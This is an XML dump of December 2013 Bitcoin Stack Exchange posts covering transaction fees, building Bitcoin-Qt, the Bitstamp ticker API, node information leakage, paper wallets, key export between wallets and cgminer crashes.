  <row Id="18275" PostTypeId="2" ParentId="18271" CreationDate="2013-12-08T04:02:51.187" Score="1" Body="&lt;p&gt;You need to provide fees on bitcoin transactions, in which case, you are producing economically valid transactions and will run out of money eventually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the min fee is 0.0001 (BTC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Listed here - &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10408" LastActivityDate="2013-12-08T04:02:51.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18276" PostTypeId="2" ParentId="14099" CreationDate="2013-12-08T04:12:03.817" Score="2" Body="&lt;p&gt;The short answer is yes, provided the difficulty factor feedback loop (adjusted after 2016 (14*24*6) block awards which nominally maps to every two weeks for whatever next generation hardware gets used) remains stable, which it should from basic control theory 101. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason has everything to do with mathematics and the convergence of the geometric series to limit the number of Bitcoins to 21M.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;a href=&quot;http://www.basic-mathematics.com/geometric-sequence-calculator.html&quot; rel=&quot;nofollow&quot;&gt;http://www.basic-mathematics.com/geometric-sequence-calculator.html&lt;/a&gt;. Enter 10.5M (number of Bitcoins mined during the first four years 50*4*365*24*6) into the first field, 0.5 into the second field (number of Bitcoins awarded gets scaled back every 4 years), 8 into the third field for n (roughly the number of 4 year time constants between 2009 &amp;amp; 2040), and select Sn and hit calculate. As n approaches infinity, the geometric series converges to 21M.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-08T04:12:03.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18277" PostTypeId="2" ParentId="18271" CreationDate="2013-12-08T04:15:16.863" Score="0" Body="&lt;p&gt;You can to a certain degree abuse the fact that very large amounts of Bitcoin will be free to make a transaction with. There's at least one address which has been sending the same coins to itself many hundreds of times and abusing this. In most cases this is prevented by the transaction fee, which is one of it's primary purposes. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-08T04:15:16.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18278" PostTypeId="2" ParentId="17991" CreationDate="2013-12-08T04:18:47.710" Score="0" Body="&lt;p&gt;Look at it from a business perspective. Start by polling the following.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://coinmarketcap.com/&quot; rel=&quot;nofollow&quot;&gt;http://coinmarketcap.com/&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dustcoin.com/mining&quot; rel=&quot;nofollow&quot;&gt;http://dustcoin.com/mining&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-08T04:18:47.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18279" PostTypeId="2" ParentId="18255" CreationDate="2013-12-08T04:19:59.137" Score="5" Body="&lt;p&gt;Since the build system has moved to &lt;a href=&quot;https://en.wikipedia.org/wiki/GNU_build_system&quot; rel=&quot;nofollow noreferrer&quot;&gt;Autotools&lt;/a&gt;, the method for building Bitcoin-Qt is a bit different. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone https://github.com/bitcoin/bitcoin.git bitcoin&#xA;cd bitcoin&#xA;git checkout v0.8.5&#xA;./autogen.sh &#xA;./configure --with-qt&#xA;make -j8 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9790" LastEditorUserId="1405" LastEditDate="2014-02-24T06:05:51.480" LastActivityDate="2014-02-24T06:05:51.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18280" PostTypeId="2" ParentId="7317" CreationDate="2013-12-08T04:34:28.723" Score="-3" Body="&lt;p&gt;The bitcoin is indeed unfair.  How are all to participate when the economically challemged do not have the resources to mine?   I suggested a virtual currency backed by the top 20 commodities excluding gold.  Gold only hold intrinsic value and can be manipulated very easily.  Silver however is is higher demand for manufacturing and would be acceptable.   I am planning on actually forming such a currency.  It will intially cost about 87 million dollars to initiate the network security and have the necessary holding facilities for such commodities as with any other commodity.  Paper contracts are just that paper.  they can worthless.  To physically have holdings is the only way.  Of course loans and other financial instruments will come into play to cover future costs and operations.  However.  Certain minimum levels must be kept in the 30 commodities although trading between them would be permitted so the realization of profits can be obtained.&#xA;  An oversight panel of shareholders will be in place and they will be charged with reviewing the financial records, along with professional accountants.  The panel of 12 will be drawn from the pool of shareholders and the only requirement is they are the age of 18.  Each year new oversight committees will be drawn.  This will help in avoiding any concerns of formations of lets say unwanted actors from taking any control or not stating facts.&#xA;  Since the United States Government does not allow the printing of money then it will all be virtual.  The security system to preveny hacking will ber contracted and most importantly insured by the same company.  They must have holdings in the new currency as the dollar will not be permitted in the overall theme of the currency.  They fail to do there job and system is hacked.  Whatever is lost must be replaced.  I believe that employers and consumers would swarm to be involved.  It would be global.  I am 53. unemployed.  Male, white and told by many a bit crazy.  I look around the globe and I am surrounded by the insane.  Shoot me an email and give me your feedback.  Trolls stay home.&lt;/p&gt;&#xA;" OwnerUserId="10409" LastActivityDate="2013-12-08T04:34:28.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18281" PostTypeId="1" AcceptedAnswerId="18290" CreationDate="2013-12-08T04:54:46.373" Score="0" ViewCount="1155" Body="&lt;p&gt;I am testing out the BitMap API, and my get function to get the ticker looks something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; r = requests.get(&quot;https://www.bitstamp.net/api/ticker/&quot;, proxies=self.proxydict)&#xA;        if r.status_code == 200:&#xA;            return r.json()&#xA;        else:&#xA;            r.raise_for_status()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I notice the &quot;last&quot; price it returns is always a little different than the one shown here (&lt;a href=&quot;https://www.bitstamp.net/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitstamp.net/&lt;/a&gt;) Is the API realtime? Or is it lagging behind the actual price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10343" LastActivityDate="2013-12-08T10:25:13.423" Title="Bitstamp.net API Realtime" Tags="|bitstamp|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18283" PostTypeId="1" AcceptedAnswerId="18284" CreationDate="2013-12-08T07:42:39.220" Score="7" ViewCount="285" Body="&lt;p&gt;Besides an IP address and broadcasting transactions, what other pieces of information can be derived from a Bitcoin node in the network?&lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-12-10T21:50:03.710" Title="Bitcoin Node Data Leakage" Tags="|privacy|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18284" PostTypeId="2" ParentId="18283" CreationDate="2013-12-08T08:05:49.963" Score="9" Body="&lt;p&gt;&lt;strong&gt;As a peer:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can derive the approximate location (GeoIP for IPv4, latencies and allocations for IPv6) unless the node is operating as a hidden service. &lt;/li&gt;&#xA;&lt;li&gt;You can query the node for it's version number. &lt;/li&gt;&#xA;&lt;li&gt;You can query the node for current date and time.&lt;/li&gt;&#xA;&lt;li&gt;You can query some of the nodes recent connections with the &lt;code&gt;addr&lt;/code&gt; host discovery mechanism, giving you the IP address and the time the node last saw the peer. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;As someone with universal access to a nodes connection:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can see which transactions (and addresses) belong to a user.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's about it really unless you want to start poking around for other services, such as a web server on port 80 which would give you a lot of information about the owner, but only if it exists. &lt;code&gt;bitcoind&lt;/code&gt; is designed to leak as little information as possible.&lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-08T08:05:49.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18285" PostTypeId="2" ParentId="17991" CreationDate="2013-12-08T09:01:34.257" Score="1" Body="&lt;p&gt;I recently found a &lt;a href=&quot;http://com-http.us&quot; rel=&quot;nofollow&quot;&gt;resource&lt;/a&gt; that seems to be very comprehensive. At the moment indexes 156 different cryptocurrencies and it seems to be updated quite often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main page has a sidebar titled &quot;Latest Coins&quot; that might be useful for what you need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each currency has a page with info and relevant links like a block explorer, homepage, etc... (See for example the page for &lt;a href=&quot;http://com-http.us/ccdir/pts/&quot; rel=&quot;nofollow&quot;&gt;Protoshares&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1919" LastEditorUserId="1891" LastEditDate="2013-12-18T08:58:56.863" LastActivityDate="2013-12-18T08:58:56.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18286" PostTypeId="2" ParentId="785" CreationDate="2013-12-08T10:05:27.480" Score="0" Body="&lt;p&gt;If you permit the term &quot;cryptocurrency&quot; to be understood very broadly, including not just cryptographic but also quantumphysical means of preventing forgery, then one possible answer is 1970 because of Stephen Wiesner's idea of &lt;a href=&quot;https://en.wikipedia.org/wiki/Quantum_money&quot; rel=&quot;nofollow&quot;&gt;quantum money&lt;/a&gt;. Like all novel concepts, there are many ways to look at it. From one angle, one may argue this is not a cryptocurrency as it uses the quantummechanical no-cloning theorem to prevent forgery rather than classical cryptography. Then again, looking back with today's understanding that this property of quantum mechanics is at the core of quantumcryptography, I'd say a broad-minded thinker could argue that in some sense it is a cryptocurrency.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-12-08T10:16:44.970" LastActivityDate="2013-12-08T10:16:44.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18288" PostTypeId="5" CreationDate="2013-12-08T10:16:16.603" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-08T10:16:16.603" LastActivityDate="2013-12-08T10:16:16.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18289" PostTypeId="4" CreationDate="2013-12-08T10:16:16.603" Score="0" Body="refers to localbitcoins.com" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-12-09T02:17:28.143" LastActivityDate="2013-12-09T02:17:28.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18290" PostTypeId="2" ParentId="18281" CreationDate="2013-12-08T10:25:13.423" Score="0" Body="&lt;p&gt;I wonder if this is due to the fact that prices can change very rapidly if many orders are executed in a short period of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my tests both prices are the same, and none seem to lag after the other.&lt;/p&gt;&#xA;" OwnerUserId="1919" LastActivityDate="2013-12-08T10:25:13.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18293" PostTypeId="1" AcceptedAnswerId="18298" CreationDate="2013-12-08T12:48:10.193" Score="1" ViewCount="1603" Body="&lt;p&gt;I just wanted to post this here to make sure I am doing this exactly right.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I created an online wallet with &lt;em&gt;block chain dot info&lt;/em&gt; (cant post links with my rep)&lt;/li&gt;&#xA;&lt;li&gt;I am going to buy BTC's from &lt;em&gt;bit bargain dot co dot uk&lt;/em&gt; and transfer the bitcoins to my online wallet created in step 1.&lt;/li&gt;&#xA;&lt;li&gt;I used this tutorial (&lt;a href=&quot;http://fieryspinningsword.com/2013/12/01/how-to-create-a-reasonably-secure-bitcoin-paper-wallet/&quot; rel=&quot;nofollow&quot;&gt;http://fieryspinningsword.com/2013/12/01/how-to-create-a-reasonably-secure-bitcoin-paper-wallet/&lt;/a&gt;) to create a 'reasonably secure' paper wallet (I even wrote down my keys instead of printing them off as noted in the 'extra security' bit at the end)&lt;/li&gt;&#xA;&lt;li&gt;I shall then send all the BTC's from my Online wallet (step 1) to my paper wallet (step 3).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My question(s) are: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;My paper wallet will still be secure? because I've only used the public key online — correct?&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;How can I confirm that the BTC's are in my paper wallet? I don't want to hold on to these suckers for 10 years, for them to be worth billions, to realise that I lost them in the ether when I come to sell/use them.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I used the tutorial to the letter, and took no further steps to create my paper wallet, if I missed something and it's not created properly, please let me know.&lt;/p&gt;&#xA;" OwnerUserId="10422" LastEditorUserId="132" LastEditDate="2013-12-10T12:09:51.527" LastActivityDate="2017-09-08T20:53:55.780" Title="Transfer BTC from online wallet to paper wallet" Tags="|blockchain.info|coldstorage|paper-wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18294" PostTypeId="1" CreationDate="2013-12-08T13:30:45.987" Score="6" ViewCount="9267" Body="&lt;p&gt;What's the difference between sending and receiving address? I mean, if for mistake I asked to send a payment to my sending address, have I lost my bitcoin? TX&lt;/p&gt;&#xA;" OwnerUserId="10423" LastActivityDate="2022-04-27T17:19:13.437" Title="Sending and receiving address" Tags="|address|sending|receiving|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18295" PostTypeId="2" ParentId="14447" CreationDate="2013-12-08T13:32:15.530" Score="0" Body="&lt;p&gt;BitPay is an electronic payment processing system for the bitcoin currency. It enables online merchants to accept bitcoins, as a form of payment, just as they accept payments from Visa, Mastercard, or Paypal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitPay is available in every country, and you can set your prices in over 30 different currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Merchants choosing to keep the bitcoins can be anywhere in the world. Merchants in some countries can choose to receive a direct deposit into their bank account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;alternatively you could just put up your bitcoin address and have people pay you once the transaction is confirmed you could dispatch the goods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its like BitPay is Paypal and your Bitcoin address is direct debit card&lt;/p&gt;&#xA;" OwnerUserId="7519" LastActivityDate="2013-12-08T13:32:15.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18296" PostTypeId="1" AcceptedAnswerId="18532" CreationDate="2013-12-08T13:54:36.220" Score="4" ViewCount="5061" Body="&lt;p&gt;I've been told my power supply needs to be of a good brand and have sufficient power for all the hardware, with some to spare. A 80+ gold PSU is more expensive but could be the best idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm starting out my rig with three SAPPHIRE VAPOR-X R9 280X 3GB GDDR5 OC for now.I'm looking to go upto 4 or even maybe 5 in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price difference between Silent Pro M2 1500W &amp;amp; Corsair Professional Series Gold AX1200 is 42 USD from where I am to get it.One being silver rated and the other gold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of power efficiency and expansion ability of the rig which one would be better and why ?&lt;/p&gt;&#xA;" OwnerUserId="7519" LastEditorUserId="2306" LastEditDate="2017-04-25T19:56:50.767" LastActivityDate="2017-04-25T19:56:50.767" Title="Power supply for Litecoin mining rig" Tags="|litecoin|mining-hardware|mining-setup|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18297" PostTypeId="2" ParentId="18294" CreationDate="2013-12-08T13:57:45.227" Score="1" Body="&lt;p&gt;There is no &quot;sending&quot; address in the Bitcoin world. If you send to an address you have seen a transaction of yours from on a blockchain explorer, it's possibly yours, possibly not if you were using an online wallet like Mt. Gox's. You should avoid doing that at all costs, as the result is at best unpredictable. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-08T13:57:45.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18298" PostTypeId="2" ParentId="18293" CreationDate="2013-12-08T13:59:25.657" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;My paper wallet will still be secure? because i've only used the public key online - correct?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sure, if the wallet was created securely in the first place then sending to it's public key (address really) poses no threat to it. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I confirm that the BTC's are in my paper wallet? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can use a block explorer like blockchain.info or blockexplorer.com to check the balance of your paper wallet address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might not hurt to do a trial run with a small amount first. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-08T13:59:25.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18299" PostTypeId="1" AcceptedAnswerId="18300" CreationDate="2013-12-08T14:16:46.560" Score="2" ViewCount="2062" Body="&lt;p&gt;I want to switch from Multibit to electrum. I can't figure out how to make use of the key multibit exports when it does a backup. Electrum and blockchain.info both seem to want something I can paste in but multibit exports in a binary format. I can't figure out how to use pywallet either.&lt;/p&gt;&#xA;" OwnerUserId="5983" LastActivityDate="2018-02-01T14:45:17.980" Title="Getting keys from multibit to export for electrum" Tags="|multibit|electrum|import|private-key-export|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18300" PostTypeId="2" ParentId="18299" CreationDate="2013-12-08T14:42:06.500" Score="2" Body="&lt;p&gt;You need to export the private keys from Multibit in text format using the 'Export Private Keys' option.  You can then copy and paste the private key strings into your new wallet.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastEditorUserId="9301" LastEditDate="2018-02-01T14:45:17.980" LastActivityDate="2018-02-01T14:45:17.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18301" PostTypeId="2" ParentId="18263" CreationDate="2013-12-08T14:59:20.913" Score="-1" Body="&lt;p&gt;before the cflags command u forgot &quot;./autogen.sh --enable-scrypt --enable-opencl&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;those two links were very helpful to me :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://litecointalk.org/index.php?topic=2924.msg44380#msg44380&quot; rel=&quot;nofollow&quot;&gt;https://litecointalk.org/index.php?topic=2924.msg44380#msg44380&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://litecointalk.org/index.php/topic,2542.0.html&quot; rel=&quot;nofollow&quot;&gt;https://litecointalk.org/index.php/topic,2542.0.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10426" LastEditorUserId="10426" LastEditDate="2013-12-08T18:41:03.967" LastActivityDate="2013-12-08T18:41:03.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18304" PostTypeId="1" CreationDate="2013-12-08T16:31:52.323" Score="0" ViewCount="269" Body="&lt;p&gt;Are there any exchanges that offer Bitcoins without identity checks? I would like to remain anonymous while buying the currency.&lt;/p&gt;&#xA;" OwnerUserId="2150" LastActivityDate="2014-01-07T18:53:06.970" Title="Buying Bitcoins without identity checks?" Tags="|exchanges|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18308" PostTypeId="2" ParentId="18299" CreationDate="2013-12-08T17:21:57.100" Score="0" Body="&lt;p&gt;You can import the private keys from your MultiBit wallet, but you will have to keep a backup of those keys separately as they won't become part of your Electrum seed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to switch to Electrum is to send all the bitcoins you have on your old wallet to one of the addresses on your Electrum wallet. This way you'll have all your bitcoins secured with your seed.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-12-08T17:21:57.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18309" PostTypeId="1" CreationDate="2013-12-08T17:48:48.207" Score="0" ViewCount="399" Body="&lt;p&gt;What happend if I share my private key with my partner? Can we spend bitcoins together without collisons from the same wallet? &#xA;Me and my friend are using BlockChain.info - what will happend when we import same private key? Can this destroy this wallet? &lt;/p&gt;&#xA;" OwnerUserId="10435" LastEditorUserId="120" LastEditDate="2013-12-08T20:01:17.203" LastActivityDate="2024-02-04T04:03:05.447" Title="share private key [blockchain]" Tags="|private-key|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18313" PostTypeId="2" ParentId="18304" CreationDate="2013-12-08T18:47:36.747" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;LocalBitcoins&lt;/a&gt; provides &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In-person cash trades - can be done complete anonymous. Check &quot;Buy bitcoins with cash&quot; on the site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Cash deposits - depending on the bank and the country you may be do cash deposit anonymously &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2013-12-08T18:47:36.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18314" PostTypeId="1" AcceptedAnswerId="18316" CreationDate="2013-12-08T19:06:23.370" Score="1" ViewCount="306" Body="&lt;p&gt;I have bitcoin-qt installed on my Ubuntu box which has an SSD as the main OS drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that bitcoin-qt is a full client/node and uses a lot of disk activity, which is why I want it off my expensive SSD and want it on my cheaper HDD.  How do I move the client so all the node checking work it does which is disk intensive is done on the secondary HDD instead of the primary SSD?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Ubuntu 12.04 installed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just edited the file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/usr/share/applications$ sudo gedit bitcoin-qt.desktop&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and changed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Exec=/usr/bin/bitcoin-qt %u&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Exec=/usr/bin/bitcoin-qt -datadir=/new_location/.bitcoin %u&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just tried loading bitcoin-qt and it currently says &lt;code&gt;Rescanning&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I made the changes correctly?  It's been scanning for 5 minutes now...&lt;/p&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="4823" LastEditDate="2013-12-08T21:53:02.863" LastActivityDate="2013-12-08T21:53:02.863" Title="Moving Bitcoin-QT's location" Tags="|storage-footprint|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18316" PostTypeId="2" ParentId="18314" CreationDate="2013-12-08T19:25:13.780" Score="2" Body="&lt;p&gt;Use the -datadir option to specify a new location for the bitcoin data directory.  Copy the existing bitcoin data directory to the new location and then restart bitcoin-qt.  Check &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt; for information on locating the default data directory.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-08T19:25:13.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18317" PostTypeId="2" ParentId="18309" CreationDate="2013-12-08T19:26:37.473" Score="0" Body="&lt;p&gt;Depending on the client you use, this could be a very bad idea, the reason being that some clients send change to new addresses while others send the change back to the sending address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use an online wallet such as blockchain.info you should be fine as it sends change back to itself, and in this case you'll both be online so your clients will always have an up to date list of the transactions for that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chance of having a collision (aka: Double spend) is very low as this requires you to both spend the same transactions within seconds of each other and if you are both using the same online wallet it would probably need to be done near simultaneously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that the private key fully controls ownership of the coins (hence being private) so you need to fully trust anyone with knowledge of it.&lt;/p&gt;&#xA;" OwnerUserId="9505" LastActivityDate="2013-12-08T19:26:37.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18318" PostTypeId="2" ParentId="12163" CreationDate="2013-12-08T19:49:07.303" Score="1" Body="&lt;p&gt;Check out &lt;a href=&quot;http://harbor.ly/&quot; rel=&quot;nofollow&quot;&gt;Harborly&lt;/a&gt; they allow you to store litecoins in an online wallet and buy/sell litecoins with a US bank account. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-12-08T19:49:07.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18319" PostTypeId="2" ParentId="9021" CreationDate="2013-12-08T20:00:00.017" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://harbor.ly&quot; rel=&quot;nofollow&quot;&gt;Harborly&lt;/a&gt; is a US based litecoin wallet that also allows you to buy and sell with your bank account.&lt;/p&gt;&#xA;" OwnerUserId="4586" LastActivityDate="2013-12-08T20:00:00.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18321" PostTypeId="1" CreationDate="2013-12-08T21:03:43.017" Score="1" ViewCount="4665" Body="&lt;p&gt;I have just recently built a mining rig. The problem I am running into is that cgminer will randomly &quot;freeze&quot; while mining. When I say freeze cgminer will just stop accepting shares and the GPU data will stop updating; however, I am still able to issue the 'Q' command, but it does not work. I have tried everything I could think of to attempt to fix this problem. Re installing Xubuntu, lowering memclock, lowering engineclock, lowering intensity, lowering thread-concurrency, increasing voltage, upgrading/downgrading cgminer, etc. The odd thing is the fact that none of the cards crash or go sick before cgminer freezes, and you see no increase of GPU temps when cgminer does crash. The period of mining before crash seems to be completely random. It has crashed 30 seconds after startup and it has crashed 4 hours in (which was the longest uptime and it was on a higher memclock and engine clock than I am on now). To me this makes no sense why it would be crashing at all, for the cards seem perfectly stable with the settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System Specs:&lt;br&gt;&#xA;CPU: FX 4130 quad core @ 3.8GHz, 8 MB Total Cache&lt;br&gt;&#xA;PSU: HALE90 V2 1200W&lt;br&gt;&#xA;GFX: 4x PowerColor HD7970 3GB GDDR5&lt;br&gt;&#xA;RAM: Ballistix (by crucial) 4gb DDR3 1600MHz&lt;br&gt;&#xA;SSD: SanDisk 64GB 6Gb/s&lt;br&gt;&#xA;MOBO: 970 Extreme4 Socket AM3+ ATX AMD motherboard&lt;br&gt;&#xA;OS: Xubuntu 12.10 x86_64&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cgminer Start Parameters (start.sh script):&#xA;export DISPLAY=:0&lt;br&gt;&#xA;export GPU_MAX_ALLOC_PERCENT=100&lt;br&gt;&#xA;export GPU_USE_SYNC_OBJECTS=1&lt;br&gt;&#xA;./cgminer --scrypt -o &lt;a href=&quot;http://poolurl.com:8080&quot; rel=&quot;nofollow&quot;&gt;http://poolurl.com:8080&lt;/a&gt; -u username -p password -I 13 -g 2 -w 256 --auto-fan --temp-target 70 --temp-overheat 85 --gpu-fan 75-90 --thread-concurrency 8192 --gpu-engine 1106 --gpu-memclock 1825 --lookup-gap 2 --gpu-powertune 20&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cgminer version is 3.7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need any more information just ask. Any help will be appreciated, for I am absolutely stumped on what is causing the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&#xA;    Kyle&lt;/p&gt;&#xA;" OwnerUserId="10442" LastActivityDate="2014-03-23T03:14:21.937" Title="cgminer freezes at random intervals" Tags="|litecoin|cgminer|scrypt|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
